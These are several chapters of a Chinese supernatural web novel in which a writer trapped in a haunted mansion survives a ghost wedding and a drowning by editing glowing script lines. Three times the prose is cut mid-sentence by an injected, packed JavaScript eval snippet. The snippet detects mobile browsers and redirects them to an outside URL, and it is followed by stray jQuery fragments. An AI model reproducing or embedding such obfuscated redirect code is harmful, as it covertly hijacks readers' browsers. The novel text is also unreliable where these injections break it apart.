身侧的贺砚清将手中红玉如意背到身后,朝座位里的二位“高堂”深深鞠躬。
黎秋又看着前面那两老人越看越不舒服,两道直直望着她的视线,像被盯住了灵魂。
她只微微弯了下腰就作罢,弯腰时,那股臭气又一溜烟钻进她鼻腔,吸气间,黎秋又差点曰出来。
这个味道很熟悉,像黑河冬天时在地窖里腌的白菜,莫名其妙到了丽江,隔了几个月挖开地窖一瞬间窜上来的腐臭,还带了熏眼睛的成分。
当年外婆从孤坟山回来的时候身上也有这个味道,比这淡很多,但因为臭得太特殊,黎秋又印象很深。
外婆当时告诉她:“孤坟山里只有一座坟,四周树木聚拢而上,在坟的上空留有一道豁口,每晚的月光能刚好从那处照进来,加上这山上的气候异常,早晚会产生瘴气,因为这样的风水异化,导致这座坟成了这座山上唯一的坟。”
“无法葬人,也无法再住人。”
说白了,就是尸体异变了。
黎秋又也没有多想,这个幻境本来就已经是鬼的地盘了,尸体异变那都是再正常不过的事。
在她差点真曰出来前,尖锐的一声“夫妻对拜——”后,又是一大声嗷叫差点吓破了她的胆。
“嫂子!”
贺尧跑进来,“嫂子你在干什么?你在跟别人结婚吗?”
黎秋又猛地扭头去看贺砚清的表情,他刚朝自己拜完起身,眼神还是一如既往的落寞,黎秋又连忙用自己左右两只食指去堵住贺砚清的耳朵。
贺尧离她有几步的距离,正朝她的方向扑过来,黎秋又使劲给他打眼色,奈何贺尧脑袋不正常,边跑边嚷嚷。
贺砚清呆愣住了。
他的视线一直停在黎秋又脸上,咫尺距离,但无法感受到她的温度。
耳朵里嗡嗡的,黎秋又的手指没留指甲,不会刮伤他,他早已空洞的胸腔里仿佛感受到了久违的跳动。
一身红嫁衣的黎秋又急得,哑着气声吼贺尧:“你快一边儿玩去,没看我办正事呢!”
怪事又发生了,贺尧离她并不远,黎秋又只看见他一个劲地往她这边扑,但就是不见过来。
“礼成——”
闹着玩似的,这个司仪丝毫没有管黎秋又在做什么,和所有鬼怪一样,按部就班地做着自己生前做的事。
贺砚清没有动手去掀开黎秋又还放在他耳边的手,只是顺着黎秋又的视线看过去,微微皱皱眉,随即又温和地笑起来:“你们俩坐地上干什么?”
黎秋又这才看见,地上坐了俩人。
他们分别抱着贺尧的一条腿。
这不就是贺砚清回来时,带在身边的俩跟班嘛。
这俩人也在对黎秋又使眼色,两人视线都看看黎秋又,又看看贺砚清,黎秋又都快被两人乱七八糟的眼神看晕了。
她突然意识到,贺砚清他,看不见贺尧……
“送入洞房——”
黎秋又被这声破了音的一嗓子吓回了神,心里沉了沉,糟心的事情一件接一件地来。
要是贺老将军已经病得不省人事倒还好说,万一还有精神,非要跟她睡一觉,黎秋又这一晚上可就难活了。
她的手从贺砚清的耳边收回来,轻道一句:“抱歉。”
地上坐的那俩才起身,挤着贺尧走到一边去,四周模糊着面容的“宾客”,脑袋僵硬着,像卡顿的动画,一帧一帧转过脸来,“看着”他们。不知什么时候,人群后的唐约两人已经不见了。
先前在轿子边跟着的喜娘此时出现,她过来引着黎秋又去洞房,黎秋又才发现,她先前发出的奇异脚步声,原来是脚上被缠上了树枝藤蔓,另一头还绑着一颗骷髅脑袋。
“等等。”
黎秋又背后“高堂”座上的枯树发了话,“既是入了贺家的门,便要先讲个明白。”
说话的那位坐在那里一动不动,黎秋又快走到门口了,不太能看清他的嘴唇是否张开了。
“乔氏的八字,是拿来给老爷冲煞挡灾的。老爷的病若能因此好转,便是你天大的功德,家族不会亏待你。若不能,那也是你的命数,是你福薄,担不起这份重任。”
“这府里,上有老爷太太,下有少爷,都是你的主子……”
他的话没说完。
黎秋又听这些话其实没什么感觉,毕竟这些威胁不到她的小命。但她身边的贺砚清面露悲伤,难过得像是那些话说的都是在给
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698920|189106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他立规矩似的。
喜堂之外,淅淅沥沥。
雨又下起来。
贺砚清面如冠玉,穿着红色喜服,像是他自己结婚一样,而他喜服红袍里的另一只手,足足伸长七八米,直伸到那位讲话的“高堂”脖颈。
小雨寂夜,“咔擦”一声,“高堂”的脖颈也如同干枯的古树,被贺砚清轻而易举地折断了。
“原来你们当时就这样对她了。”贺砚清悲伤低沉的声音就在黎秋又耳边。
听不懂,完全听不懂。
吓人,非常吓人!
这就是唐约告诉她的,少爷拧脖子。她见识到了,并且开始后怕。
黎秋又呆愣愣地看着那位“高堂”,从脖颈处冒出滚滚气体,浓重到就像他整个“人”都是跟气球似的被打出来的。
淡褐色的气体从身体里出来,往四周开始弥漫,少爷的二位跟班隐在人群后,捏住贺尧的嘴巴退出了喜堂。
黎秋又腿都软了。气体蔓延到腿边来,黎秋又闻到了那股臭气,比刚才更加浓郁。
她终于开始干呕,难受得赶紧朝喜堂外面跑,贺砚清赶紧唤了声喜娘,喜娘迈着“丁零当啷”的脚步就跟着黎秋又出门。
喜娘搀着黎秋又,出门,左转。
出了门,总算好受些了,黎秋又回头看了眼,贺砚清已经转回了喜堂里,此时,他的双手都老老实实垂在身侧。
“橡皮人路飞啊?”她不禁感叹。
“什么飞?”银烛出现在了她另一侧,温柔笑着,去搀着她的另一边手,把她往右边拉,吓得黎秋又一个弹跳。
“喜娘忙完了,领完赏钱就可以离开,乔姨娘交给我就好。”银烛手上用了点力气,要把黎秋又拽走。
喜娘这头也暗暗用了劲,“少爷吩咐我务必要把乔姨娘好生送回客房再走,银烛姑娘莫为难我。”
银烛的半永久笑容,发出了轻缓的笑声,“喜娘说什么玩笑?哪有新婚的太太不去丈夫房里的?”
三人在这里淋着小雨,黎秋又站在雨里,感觉自己可能等一会就会被身侧两人撕成两半。
喜娘脚后面跟着一只甩不掉的骷髅,银烛脸上挂着画上去似的半永久微笑。
大概再过一会儿,雨水就会顺着她被撕裂的胳膊滴下血雨,顺着水流,流出幻境,被现世的人发现,报警,再找到她,但愿能在血流干之前等到警察。
两个女鬼一鬼攥着她一只胳膊,又不敢反抗,抛开未知的剧本不谈,黎秋又更希望跟着喜娘走,喜娘说要带她去客房。
现在已经快要凌晨两点了,黎秋又已经困得恨不得干脆睡过去得了,起码什么也不知道,也不痛苦了。
周遭没有别的人,但黎秋又突然看见了星星点点的金光开始汇聚,是剧本台词!
“太好了,有救了!”
身侧两人,一脸莫名地看着黎秋又骤然发亮的双眼,望着虚空一处,那里有鬼怪们看不见的台词。
【宾客未散,忽闻院中惊呼!池中竟有一女体浮沉!】
8. 第 8 章
雨又大了,这幻境里的天气更加阴晴不定,黎秋又回头,那间喜堂不知什么时候已经没了光线,隐在黑暗里,比夜空还要黑,像是有滚滚黑雾淹没了那里。
转角处,黎秋又看见了去而复返的唐约两人,她们又换上了自己的便装,唐约双手抱胸,朝她挑了挑眉。
身后有两个人,黎秋又轻轻松了口气。刚才身侧还有俩人拽她的手臂呢,现在却只剩下了一个银烛。
“喜娘呢?”黎秋又问她。
银烛笑着反问:“什么喜娘?乔姨娘在等什么?喜娘早就领完赏钱离开啦。”
她伸出一只手,黎秋又望过去,廊下果然站着一个人,看身形,像是二太太。但她整张脸都在黑暗里,只有衣服在光下,黎秋又打了个尿惊,那里站的千万别单单只有二太太的衣服啊。
她视线又转回到台词上去,这个台词太短,看上去没有任何意义,与她接下来要面对的事情没有任何关系。黎秋又CPU都快烧了,还没想好如何改动,给她的时间不多,她先尝试去擦,看能擦掉什么字。
“二太太,主院那边……”有小厮迎着雨匆匆跑来,哼哧带喘的。
廊下那身影动了动,隐隐发出“嘎吱”声响,像踩断了树枝。但二太太的脸依旧在黑暗里,黎秋又如果没有见过她,大概会觉得那衣桶子上面搁的,恐怕是个枯皮尖牙的怪物脑袋。
“这么急急忙忙做什么?”是银烛上前一步,先问了那人。
那小厮看了她一眼,连忙对她和二太太指着前院:“池塘,主院的池塘,捞出来一个人。”
黎秋又尝试在标点符号上抹了抹,竟然每个字都能擦!她朝唐约那边望了眼,就见唐约非常急切地在跟她比划。
二太太朝银烛抬了抬手,对暗号似的,银烛立即明白了二太太的意思,对二太太恭一下身子,就对身侧的黎秋又说:“乔姨娘,夜深了,目前老爷可能有些不太方便了,乔姨娘应去老爷院中的厢房先歇下,明日再去老爷房里伺候。”
黎秋又点头,二太太就带着银烛又风风火火地走了,二太太还是那个二太太,只是步伐有些僵硬,幸好不是黎秋又发散思维的那种怪物。
在字迹快要消散前,黎秋又把那台词中的“女”,改成了“男”。
唐约这才跑到她身边来,拍了拍她的肩,“谢了啊。”
“什么情况?”黎秋又耸耸肩,不太喜欢别人把手搭在她身上,又问:“还有,你俩一会儿换一身衣服,不累吗?”
“换衣服?”唐约皱眉,“换什么衣服?我们穿上这身就没再脱下来过。”
“这么说……”那么黎秋又刚才看见的“唐约”……
黎秋又咽了咽口水,感觉后背发凉。
“我cao……”她口中讷讷。
雨越来越小,比刚才的时间要短一些,唐约偏了偏脑袋,“走,这里不是说话的地方。”
三人挤到了一间小柴房里,这里没有烛火灯笼,只剩下微弱月光照亮,到这里时,雨已经彻底停下了。
“丢了?”黎秋又后背紧紧靠着一根柱子,双手抱膝,“你们刚才就一直在找你的戏服?”
三人讲话都压低了声音,怕吵醒路边的野猫。
“对,我们换完衣服就丢在后台,你去喜堂的时候,我们就回后台去跟班主打一声招呼,班主让我们把戏服装起来,他们先带回去。”
“这个时候我们就找不到戏服了。”廖欢说这话,越说声音越小,看了看唐约的脸色,说完就闭嘴了。就像丢戏服这件事她常做似的,一脸的不好意思。
唐约瞪了她一眼,“你的经纪人证是买的吧?”
“经纪人?”黎秋又看看廖欢,又看看唐约,“你是明星啊?”她后知后觉,这才意识到,如此颜霸,确实是当明星的料。
唐约挑眉,“你不看电视的?”
“你居然不知道?刚才都有人想扑过来要签名呢。”廖欢再次死亡抢答。
“刚才?你是说,在这个鬼地方,有人把你认出来了?”黎秋又接受信息量太大,一时都不知道先问什么好了。
“这个回头再说,现在,先跟我说说,你刚才看见了我的戏服?站在你的喜堂里?”
黎秋又点头,“还是撑起来的戏服,就跟有人穿着似的,我真当成是你了。”
唐约也坐在黎秋又身侧,三人挤着,烧了一小团火取暖,她捏着下巴思考,“现在戏服仍没有找到,不知道它会自己跑去做什么事,对我又会有什么影响。”
她抬头盯着黎秋又,“今晚,我需要一直和你在一起。”
黎秋又不反对,她巴不得有人能陪着她度过这个夜晚。“那你刚才让我把台词的女改成男又是为什么?”
“不知道,直觉吧。我猜想,台词让你看见,很可能就是跟我们有关系,我们都是女的,万一那尸体是我们三个其中一个怎么办?”
“所以改成男,那池塘里的就变成了男尸?”黎秋又深吸一口气。
“糟了!”黎秋又突然想起一件事。
“我把那傻小子的小猪才电话手表丢到前院那池塘里去了,他会不会因为捡手表,阴差阳错……”
如果真是那傻小子跳进去找表,那也算是她间接害死这小子了。黎秋又突然开始愧疚,她踢了两脚面前的柴火堆,踢灭了,“不行,我得去一趟。”
唐约抓住了她手腕,星星点点的火光还在呼吸,她眼中微微闪动,看了眼黎秋又左手腕上的表。“这是你自己的东西?”
“嗯。”唐约非常有力量,攥得她手疼,黎秋又抽回手。
黎秋又白皙手腕上的深咖色牛皮表带,是前些年流行过的款式,表盘顶端有一块凸起,看着像吊坠顶端的一个环。
表盘看上去很复古,不是便宜物件,唐约见多了奢侈品牌,这不是什么大牌表,但也不是地摊的便宜货。
“你本名叫什么?”唐约问。
“黎秋又,秋又来的秋又。”
唐约低低笑了两声,没有多问,但黎秋又瞧她神色,必定是脑袋在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698921|189106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
转什么九曲十八弯呢,现在懒得去追问唐约问的话是什么意思,满脑子就想着可千万别是那傻小子给淹死了。
唐约跟廖欢两人互相搀着起身,还互相拍了拍身上的土,黎秋又猫着腰,拉开小柴房的门,脑袋探出去,一切正常,就朝唐约俩招了招手。
安静又漆黑的地方,人总是会下意识靠着建筑物走。三个人紧贴墙根,沿着长廊曲折回转,门洞之前,照例,还是黎秋又探头出去看情况。
唐约和廖欢很惜命,她们离黎秋又七.八步之远。
黎秋又嗤之以鼻。
门洞之前,几树茶梅开得正盛,碗口大的红花散发出甜滋滋的冷香,墨绿的枝叶生着细细的锯齿,路过时,还挂了一下黎秋又红嫁衣上配的纱,勾得树叶一阵“沙沙”。
黎秋又倒回去,检查一下树上别挂上了自己的衣服碎片,正当她猫着腰上下打量这株挂着她衣服的茶梅树,一道清凉的声音仿佛在她身后打开了一扇急冻冰箱的门。
“阿云。”
“你可叫我好找。”
声音从四面八方来。
黎秋又连忙跑去墙根蹲下,缩了缩脖子。刚才少爷拧脖子是喜欢往左还是往右拧?倘若她与少爷的手劲往反方向用力,是不是就不会被拧断?
她把脑袋埋到墙边柱上。
这柱子坚硬冰凉,忽地柱子动了一下,开始朝黎秋又倾倒。
她没来得及起身就跑,脑袋就被人按住了。
“阿云,别怕。”脑袋上的手掌温凉,并不冻人,他顺着黎秋又发丝的方向轻轻抚了两下。
黎秋又抬眼,贺砚清正蹲下身来,和她面对面。
她本就圆的双眼,此时怒睁着,一眨不眨望进贺砚清眼里,双手小心翼翼上挪,一直挪到自己脑袋上,扶好。
贺砚清的视线就从她的手,缓缓移到脸上,唇角扬起一道柔软的笑意弧度。
黎秋又瞳仁四下转了转,没有金光闪闪,没有救命的台词,远处的唐约两人现在都看不见身影。
她们才不会管自己的死活呢,黎秋又心里清楚。
“我来带你回客房休息。”
贺砚清讲话语速慢,轻缓,柔和,能够轻松叫人放松警惕,越是这样,黎秋又的神经越是紧绷。
他没有多问,黎秋又就答一句“好”。
贺砚清带路,走得极慢,黎秋又觉得,但凡她想要跑,贺砚清都能第一时间揪住她的衣领。
十步之外没有看见唐约跟着的身影,黎秋又咬牙切齿,刚才还说好的晚上要和她睡在一起!
气着气着她居然“哼”出了声,贺砚清走在前边的步子更慢了,他缓声开口:“怎么了阿云?”
秉持着对角色的尊重,以及她敏锐的第六感,黎秋又颤着声:“少爷,按理来说,您现在该唤我一声姨娘。”
本就微弱的月光又藏入了云层。
黎秋又感到一股寒意从前方传来,她连忙补充:“但如果少爷执意直呼我名,自然也是理所应当。”
9. 第 9 章
贺砚清停下了脚步,身后黎秋又非常识相又惜命地保持着安全距离,那略带凉意的空气又来了,“阿云,如果你不愿意,这次无论如何我也能带你走的。”
不不不,求你了,千万别带我走!黎秋又在心里给贺砚清磕九九八十一个响头。
“少爷,人各有命。”
进到这鬼地方来,成为娇小可怜的冲喜新娘,千方百计,绞尽脑汁地活下去,就是她黎秋又的命。
云又散了,前面的人轻叹了一声,“你还是没变。”
这句话应该不用她回答,要她回答她也不知道该说什么,索性当做没听见。
心里为贺尧默念祈福,今夜恐怕自己都要卒,难顾到他了。
雨竹清幽的香气和茶梅树的甜香混在一起,黎秋又竟意外得有些熟悉,并不浓郁,反而令她舒适安心得想睡一觉。
虽然对于黎秋又来说,半夜两点正是她灵感爆发,奋力码字的时间点,也虽然说现在这种又冷又陌生又危险的情形,实在不适合睡觉,她这时候是真的困到眼皮打架了。
贺砚清安安静静地走在前面,连脚步都没有发出声音,黎秋又安安静静地跟在他身后,连呼吸都不敢发出声音。
但在将要路过主院时,黎秋又听见了那边低低沸腾的人声,像是一堆蚊子在开大会,听不清说的什么,只能听见“嗡嗡”的议论。
门洞之外,黎秋又看见众“人”围成了一个圈,最外围,唐约两人的身影朝她看了眼,又转过脸去。
太黑了,什么也看不清,黎秋又虚着眼,想要去看人群中央是什么,费劲巴拉还是看不清,就要走过这一处院子时,她突然看见了地下似乎是躺着一个人,那人的手腕上,一条白色的什么东西缠在上面。
贺尧那小猪才电话手表就是白色的表带。
“少爷!”黎秋又壮胆,在贺砚清五步之后开口喊住他。
贺砚清停下,好一会儿转过身来,静静等着黎秋又讲话。
“我……丢了个贴身的东西,好像在主院,我想去找找。”
黎秋又不会讲谎话。她的妈妈在生她时难产去世,爸爸在当天失踪。外婆抚养这么一个个独独的念想长大,从小就宠着,很少训斥她,好在她也是温吞安静的性子,也很少犯错,因此她从不需要用谎话来逃避斥责。
在她偶尔说谎话时,总是一眼就被外婆看穿,她会下意识地不去看对方的眼睛,视线很忙碌地去四处搜寻。
贺砚清像是没有看出黎秋又的谎,只是柔风暖意地说:“好,我陪你去找。”
“不用了,这么晚了,少爷早点休息,我找到后会自己回客房去。”黎秋又说着就摆摆手,两只脚开始朝主院那边挪。
贺砚清又不说话了,黎秋又觉得他真是太阴晴不定,好像又生气了似的,她不露声色地瞄着贺砚清身侧的一双手。那双手跟橡皮人似的,想伸多长伸多长。
但贺砚清还是侧了身子,让黎秋又过去。
那边的“人”好多,黎秋又看见二太太也在。
她放轻了步子,尽可能快地走到唐约身侧,回头看了眼,贺砚清没有跟着来,才松口气。
“恭喜你,又多活了一刻钟。”唐约由衷地祝贺她,只是看上去连嘴都没张开。
黎秋又扯唇干笑:“多亏了你的关心。”
她在人群外,蹲下身子去,从众“人”的腿间望进“人”群里,想要一探究竟。
奇形怪状的腿杆之间,一双凸起的浮肿的通红的双眼,大睁着,直直透过黎秋又的瞳仁看到她脑仁里去。
他好像还活着,他怒睁着双眼,势要在死之前,将杀害他的凶手深深刻进脑海里,好在做鬼之后来找凶手索命。
这是黎秋又心里的小剧场。
她差点跌坐在地,差点,因为她跌坐在了贺砚清的脚上。
贺砚清这时候穿的是一双圆头布鞋,并不是先前进府时穿的那双冰冷的皮鞋。
贺砚清双手捏着她的肩,把她扶起来。手不重,甚至黎秋又都没什么感觉,她站稳后,贺砚清立即松开手,走进“人”群。
“都在这围着做什么?”
听见他冷调的声音,“人”群哗然散开,池二浩和宣余突然跑到他面前来,“少爷,我们刚才捞出来一个人。”
黎秋又这才看清。
好消息:地下那人不是贺尧。
坏消息:那男人身上正穿着唐约的戏服!
如果刚才那句台词没有改,恐怕躺在这里的,就是唐约了。
他手上一圈白色也不是那只小猪才电话手表,是民国时期比较时髦的蝴蝶结发圈,材质大概是蕾.丝,即使沾了水,也还保持着蝴蝶结的形状。
贺砚清冷着的神色,看见他的这两书童,眉心又舒展开,笑问:“这大夜深,缘何在水里捞东西?”
他像是恍然,自主替两人找着借口,转身来看向黎秋又,“我知道了,是来为乔小姐找东西的吗?”
两人眼珠子滴溜溜转,连忙点头。
贺砚清又问:“找到了吗?”
黎秋又耳边一“嗡”——什么东西?
“找到了!”池二浩满口答应。
宣余立马去那死掉的尸体手腕上,把那蕾丝发圈扒下来。
黎秋又看见了人群外的贺尧,正认认真真仔仔细细地擦着他手里那只小猪才手表,还哈了一口气,用袖子小心擦拭表面。
……
他可活得真好啊。
宣余递给黎秋又的死亡发圈,她迟迟不敢伸手去接。
贺砚清倒是拿开了那只沾了泡尸潭水的发圈扔远了些。
“早说是这个,我再给乔小姐买个新的就是。”贺砚清神色自然,不揭穿几人明显的小动作。
人群另一头又让出来一条道来,二太太一只手帕捂唇,像刚吐完一样,气息有些不稳,一来就沉着脸色,勉强对贺砚清露出个笑容,“清儿,现在你该叫她姨娘了。”
黎秋又站在贺砚清身后,离水潭不算远,水潭黝黑深处,就像是有一个能从人的脑袋上吸走灵魂的黑洞。
怕水的人总是有这样的幻觉,黎秋又觉得自己快被那水潭深处吸走了,脑袋一阵眩晕。
身前的贺砚清轻松地笑笑:“二妈妈,儿子受到的是新式教育,这个称呼,我叫不出口。”
他蹲下身子去扳开死者的口腔,一口白
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698922|189106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沫带着臭气就熏了出来。
鬼怪下人们闻不到,只是嫌弃地一退二里地。
唐约不知什么时候又到黎秋又身侧了,她看上去脸色很不好,此时连脑袋缺根弦的廖欢看上去都不太好。
“这是刚才在戏台上唱戏的,好像是个名角儿啊。”有小鬼议论。
“是个名角儿!我认得,他是梨园班子的唐婉约!”
黎秋又头皮发麻,她拧着脖子去看唐约,唐约脸色更白了。
风冷飕飕地从水潭面上吹来,这水潭连接着每一个院子,大小不一,形状各异,且水面并非静止,仔细看,还在缓缓流动。
黎秋又学术不精,只知道这在风水上大概是“玉带水”,主事业顺利,人缘兴旺,中式园林通常都有这种设计。
水边设有假石平台,是中和五行的设置,但难受的地方在于,这里和黎秋又刚进宅子里遇到的那水潭相似,旁边都种植着榕树。
高大的老榕树枝丫垂坠,丛丛茂密,远看就像无数个倒挂枝头的人干。
管他呢,不管风水怎么样,这里都是一座鬼宅了,现在身边站的全是鬼,黎秋又打了个颤,一时竟然分不清阴气和寒气了。
“少爷,既然东西找到了,那妾身就先回屋了。”黎秋又学着先前银烛的动作,对贺砚清和二太太分别弯腰道别。
哪想到,贺砚清“嗯”了一声后,对池二浩和宣余说:“小池小宣,你们俩先把这个人安顿了,剩下的事情,等我回来再说。”
黎秋又有点谨慎,这种情况按道理应该把尸体留下,再根据蛛丝马迹调查死因,但贺砚清却让人安顿了。
“你去吧,这个事情交给我。”二太太一只手还用手帕捂着鼻子,食指上戴着拇指那么大的一颗祖母绿戒指。
同时,她又望向黎秋又,眼中不遮掩的寒意,“今晚你不要来老爷院里,去客房。”
黎秋又如蒙大赦,装作面露遗憾,又对二太太弯了弯腰。
她对萍水相逢连话也没讲过的贺砚清的俩跟班使了使眼色,又把视线瞥向贺尧。
池二浩是个机灵的,向黎秋又竖了竖眉毛,表示包在他身上。
黎秋又这时候已经明白了。这俩人,和她们一样,也是误入这鬼打墙的活人,并且他们也发现了贺尧无法被鬼怪发现的特点。
贺砚清送黎秋又到了刚才换衣服的那间客房,黎秋又已经困到不在乎是否有水洗漱了,只要能让她睡,怎么样都行。
贺砚清却对她仔细交代,无非是些如果住得不习惯,或者缺什么,可以差人去街上置办。搞得好像她真要在这里住多久似的。
黎秋又连连“好的,多谢。”
贺砚清终于停下了啰嗦的关怀,黎秋又要转身进屋时,听见他问:“远处鬼鬼祟祟那两位,是你朋友?”
黎秋又停下,转身,四处张望,在门洞之外,看见了慌忙躲避的两个身影。
“是我娘家来的姐姐。”黎秋又的眼神定在别处。
听黎秋又胡扯完,贺砚清伸出一只手,朝着她的脑袋,缓缓而来,带着凉悠悠的冷意。
她只敢掀着眼皮去盯那手,缩着脖子,等待他下一步动作。
10. 第 10 章
“早点歇息,一会儿我可以让她们来陪你。”
贺砚清收回了手。
他总是控制不住下意识想要去触碰她,即便知道她现在对自己满心都是恐惧和戒备。
不过,现在哪怕贺砚清说要陪着她进屋,她都只会赶快答应了。黎秋又困得要死了。她也果真是沾枕头就睡了。
不知过了多久才终于进来的唐约两人,又是挠她又是喊她,愣是没把人喊醒。
她这一觉感觉像睡了两三天,睁眼时,却才将将天亮。
黎秋又直挺挺赖在床上,不知什么时候盖在她身上的棉被暖和极了,她就这么懒懒地掀着眼皮,冬日阳光透过窗,把她整个人都温柔地包裹在光里。
很像她以往文思泉涌时,奋战一整天,再一觉睡到大天亮的那种满足和舒服。
一切都很好,但如果现在是在自己床上就更好了。
她仍躺着,有神的双眼,无神地看着眼前,从她睁眼就开始金光发亮的台词。
【二太太早早便叫银烛守在乔挽云门前,端着一碗慢性绝育的药汤,轻叩门扉,询问:十六太太可睡醒了?】
天杀的,她才刚睁眼啊!脑袋都是浑浑噩噩的。
她只想赖着不动,然而门外已经有了响动,但不是银烛的声音。
“银烛姐姐这么早起呀?”这个声音就在门口,是少爷身边那俩跟班的其中一位。
“愣着干嘛?”唐约的声音在她耳边幽幽传来。
黎秋又一个转身,“扑通”摔到地上,好在地面一块柔软的地摊接住了她。
“你怎么在这?”黎秋又小心肝受到了极大的惊吓,这时候又从唐约身后冒出一个廖欢脑袋,“你怎么也在这?怎么都在我床上!”
“我还想问你呢!你是怎么跟那个鬼少爷沟通的?”
屋外脚步声越来越近,唐约长腿跨下床,把黎秋又拉起来,“你还不快写!不然还真要喝那些奇奇怪怪的东西吗?”
黎秋又从枕头底下翻出自己的那支笔,数了数那碗汤的名字:“一二三四五六七,七个字啊。”她掰着自己的几根手指。
饿啊!现在她脑袋里只有一个东西——黑糖珍珠鲜牛乳!
这怎么改?如果只能改一个字,那把药改成奶也行吧?
她率先改掉一个字,如果笔墨能够支撑她多改几个字,那她一定要喝到个美味点的!
“你们俩在这做什么?十六太太睡醒了吗?”门外银烛的声音响起。
黎秋又现在听这个十六太太都像是石榴太太了。
饿啊。
慢性绝育的药汤……奶汤。
黎秋又试着再擦掉一个汤字,在奶后面写了个茶。
“还真能再写!”
“重点难道不应该是绝育两个字吗?”唐约白她一眼。
黎秋又犹豫,“对哦。”
那两个字被擦掉后,她又犯了难。
反正什么都能写,她想到了个好点子——如果写成喝了可以回家的奶茶,那不是就能直接离开这鬼地方了!
于是她要把“绝育”两个字改成“回家”!
“回……”黎秋又边写边念,写下一个口,又写一个口。
“???”
“中间的口呢?”
唐约暴躁,“你笔顺有问题啊!谁写‘回’先把口封了的?你不能先把里面的写了再封口吗!”
“这是笔顺的问题吗!明明是笔的问题!”黎秋又也烦躁。
慢性口口的奶茶。
黎秋又不信邪,在那两个口里面继续填。
于是现在变成了……慢性口口口口的奶茶。
“你真是要把我气笑了。”唐约一翻白眼,又躺回床上去了,“反正是你喝,又不是我喝。”
“十六太太,您睡醒了吗?”银烛没得到里面的回应,又问了声,抬手准备敲门。
黎秋又才赶紧站起来,房间里是很均匀的暖和,跟北方家里烧了地暖似的,她这才发现自己身上竟然穿着睡衣,还是红色的!
“你俩咋还脱我衣服了?!”黎秋又顿时觉得,别看这俩人光鲜,背地里实际一点边界感也没有!
唐约生无可恋地躺着,烦躁扯了扯自己身上,也穿着的睡衣。
刚才只冒出个脑袋的廖欢还在被子里,一言不发,一脸通红,用被子把自己遮了个严实。
“我求求了,你该不会光着吧!”黎秋又无力震惊了。
廖欢遮住了脸。
门外一阵拖拽声响,“嘘!银烛姐姐别叫了,要乔小姐再睡会儿吧!少爷吩咐过,一定要让乔小姐睡好的。”
黎秋又赶紧跳去床旁边的衣柜里翻找,“别找了。”唐约蹙眉扶额。
“在你醒来之前,我们已经琢磨过。我们现在的状态,应该是按照原有剧情来的,原本我应该睡在自己房里,穿着自己的衣服,而现在,这不是我们原来应该待的地方。”
“是吗?”衣柜里果然什么也没有,黎秋又也学着唐约的模样,摸着下巴思考,一边转过来在唐约身上的丝质睡衣上打量,“原本你不是应该死了吗?穿的应该是那件戏服。”
唐约好不容易吃了瘪,抱着胸,脑袋侧到里边去,“现在不是理顺逻辑的时候,你该出去看看你那口口奶茶了。”
时不待人,黎秋又赶紧从床上随便扯了张稍微单薄一点的毯子披在身上,用来遮一下里面没有穿bra的尴尬。
拉开门后,门口竟然意外的……热闹。
俩人七手八脚地把银烛架到一边去,听见开门声后,三个人齐齐转过来,都是一脸的兵荒马乱。
黎秋又被开门闯进来的冷风打得一哆嗦,又稍微把门关小些了,只留半张脸在门口。
“你们这两个小子,二太太叫我带给十六太太的滋补汤都撒了不少,这可都是名贵药材熬的。小心我去二太太那去告你俩小状去。”银烛说着这样的话,但脸上的笑容依旧不改。
俩小伙见到黎秋又,赶紧松开了银烛,小跑到黎秋又跟前来,个子稍高些的男孩看上去机灵一些的,是贺砚清叫过的“小池”,他老喜欢挤眉弄眼了,小声对黎秋又说:“别喝!”
另一个稍矮点又稍胖一点的,弯腰在地下捞起来俩箱子,“乔小姐,这些都是少爷给你准备的。”
不止这俩箱子。
黎秋又面前挤挤挨挨摆了五六个箱子,叫她出去都无处下脚的那种。
贺砚清对她这样的……细致,黎秋又再次确定,这乔小姐,恐怕是在入门前就跟这少爷珠胎暗结了!
夭寿啊!
这种事情搁在民国怕是要被沉塘的吧!
如果真是这样的剧情走向,那她真得想办法改变自己的剧本了。
“十六太太,二太太特意差人熬了这滋补汤,叫十六太太喝了以后,就可以去前厅敬茶了,老爷也在。”银烛在两步台阶之下,端着碗,规规矩矩,清秀面容上带着温柔笑意。
黎秋又把身上的毯子裹紧了些,就站在门里,费劲地朝银烛手里的碗看去。
她开始后悔自己改的台词,这个距离光是看,根本分不清中药和奶茶的颜色有什么区别。
池二浩见黎秋又好像对那碗汤药很感兴趣的样子,眉毛都皱到一堆去了,使劲这她耳边小声说:“别喝!千万别喝!”
咕~
黎秋又咽了咽口水,又看向下面的银烛,“银烛,你端来给我吧,一会儿换好衣服就喝,我自己去前厅就行。”
